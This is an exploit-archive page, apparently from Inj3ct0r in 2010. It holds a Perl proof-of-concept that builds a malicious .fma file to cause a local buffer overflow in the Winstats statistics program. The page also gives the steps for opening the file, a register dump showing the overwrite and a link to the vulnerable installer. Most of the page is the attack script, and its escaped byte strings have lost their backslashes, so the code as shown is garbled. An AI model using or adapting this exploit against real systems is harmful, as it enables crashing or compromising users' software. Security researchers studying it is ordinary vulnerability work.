Home / os / win7

Winstats (.fma) Local Buffer Overflow PoC

Posted on 24 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Winstats (.fma) Local Buffer Overflow PoC</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=========================================
Winstats (.fma) Local Buffer Overflow PoC
=========================================


###################################################################
#Exploit Title : Winstats (.fma) local Buffer Overflow Poc
#tested on windows xp SP 3 FR
#Author: MadjiX
#Special Greets:His0k4 [ where are you :( ]
#Greets:Bibi-info , Silectovic , Volc4n0
#App: http://math.exeter.edu/rparris/peanut/wsfr32z.exe
###################################################################
#--&gt;Fen?tre--&gt;1variable--&gt;Fichier--&gt;Ouvrir--&gt; Open madjix.fma file
#Note:Open the file twice i dont no why
#EAX 0000060E
#ECX 00000000
#EDX 00D66898
#EBX 616D662E
#ESP 0012F74C
#EBP 0012F750
#ESI 00AD7AE0
#EDI 41414141
#EIP 00432675 wstatfr.00432675
#C 0  ES 0023 32bit 0(FFFFFFFF)
#P 1  CS 001B 32bit 0(FFFFFFFF)
#A 0  SS 0023 32bit 0(FFFFFFFF)
#Z 0  DS 0023 32bit 0(FFFFFFFF)
#S 0  FS 003B 32bit 7FFDF000(FFF)
#T 0  GS 0000 NULL
###################################################################
my $file= &quot;MadjiX.fma&quot;;
 
my $hd = &quot;xB9x01x00x00x09x00x00x00&quot;.
&quot;x50x00x00x00x5Dx00x00x00&quot;.
&quot;x00x02x00x00x00x02x00x00&quot;.
&quot;x00x00x00x00x01x00x00x00&quot;.
&quot;x3Dx00x00x00xD9xFFxFFxFF&quot;.
&quot;x2Cx01x00x00x64x00x00x00&quot;.
&quot;x64x00x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x0A&quot;;
 
my $ft = &quot;x0Ax00x00x00x0Ax00x00x00x0Ax00&quot;.
&quot;x00x00x0Cx00x00x00xF0xFFxFFxFF&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x00x90x01x00x00x00x00x00x00&quot;.
&quot;x08x02x01x31x43x6Fx75x72x69x65&quot;.
&quot;x20x4Ex65x77x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00xF3xFFxFFxFFx00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x90x01x00x00x00x00x00x02x08&quot;.
&quot;x02x01x31x53x79x6Dx62x6Fx6Cx00&quot;.
&quot;x20x4Ex65x77x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00xF3xFFxFFxFFx00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x90x01x00x00x00x00x00x00x08&quot;.
&quot;x02x01x31x43x6Fx75x72x69x65x72&quot;.
&quot;x20x4Ex65x77x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00xF5xFFxFFxFFx00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x90x01x00x00x00x00x00x00x08&quot;.
&quot;x02x01x31x43x6Fx75x72x69x65x72&quot;.
&quot;x20x4Ex65x77x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00xF0xFFxFFxFFx00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x90x01x00x00x00x00x00x00x08&quot;.
&quot;x02x01x02x54x69x6Dx65x73x00x72&quot;.
&quot;x20x4Ex65x77x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00xF5xFFxFFxFFx00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x90x01x00x00x00x00x00x00x08&quot;.
&quot;x02x01x31x43x6Fx75x72x69x65x72&quot;.
&quot;x20x4Ex65x77x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00xF3xFFxFFxFFx00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x90x01x00x00x00x00x00x00x08&quot;.
&quot;x02x01x31x43x6Fx75x72x69x65x72&quot;.
&quot;x20x4Ex65x77x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00xF3xFFxFFxFFx00&quot;.
&quot;x00x00x00x00x00x00x00x00x00x00&quot;.
&quot;x00x09x00x10x00x00x00x00x00x00&quot;.
&quot;x80x20x13x14x36xF7x57x26x96x57&quot;.
&quot;x22x04xE6x57x70x00x00x00x00x00&quot;.
&quot;x00x00x00x00x00x00x00&quot;;
 
my $junk = &quot;x41&quot; x 10000 ;
 
open($FILE,&quot;&gt;$file&quot;);
print $FILE $hd.$junk.$ft;
close($FILE);


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-24]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :